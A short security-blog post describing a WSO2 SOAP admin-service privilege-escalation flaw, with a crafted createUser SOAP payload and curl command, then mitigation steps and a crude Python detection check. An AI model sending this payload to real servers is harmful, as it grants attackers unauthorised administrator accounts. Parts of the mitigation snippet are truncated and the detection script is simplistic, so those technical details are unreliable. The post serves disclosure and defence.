How the CVE Works:
The vulnerability (CVE-2025-XXXXX) in WSO2 products stems from improper access control in SOAP-based admin services. Attackers can exploit a business logic flaw during user self-registration by sending crafted SOAP requests. When specific conditions align—such as weak endpoint validation and improper role assignment—malicious actors can register with elevated privileges. The SOAP API fails to enforce proper authorization checks, allowing unauthorized privilege escalation. This flaw affects multiple WSO2 products, including Identity Server and API Manager, where SOAP admin services remain enabled by default.

What Undercode Say:
Exploit Analysis:
1. Craft Malicious SOAP Request:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header/> <soapenv:Body> <ns1:createUser xmlns:ns1="http://service.wso2.org"> <username>attacker</username> <password>P@ssw0rd!</password> <roles>admin</roles> </ns1:createUser> </soapenv:Body> </soapenv:Envelope>
2. Send Request to Vulnerable Endpoint:
curl -X POST https://target:9443/services/UserAdmin --data @exploit.xml -H "Content-Type: text/xml"
Mitigation Commands:
1. Disable SOAP Admin Services:
Edit deployment.toml in WSO2_HOME/repository/conf [bash] enable = false
2. Apply Patch via WUM (WSO2 Update Manager):
wum update wso2is-7.0.0
3. Temporary Workaround (Firewall Rule):
iptables -A INPUT -p tcp --dport 9443 -j DROP
Detection Script (Python):
import requests
target = "https://localhost:9443/services/UserAdmin"
response = requests.post(target, verify=False)
if "createUser" in response.text:
print("[!] Vulnerable to CVE-2025-XXXXX")
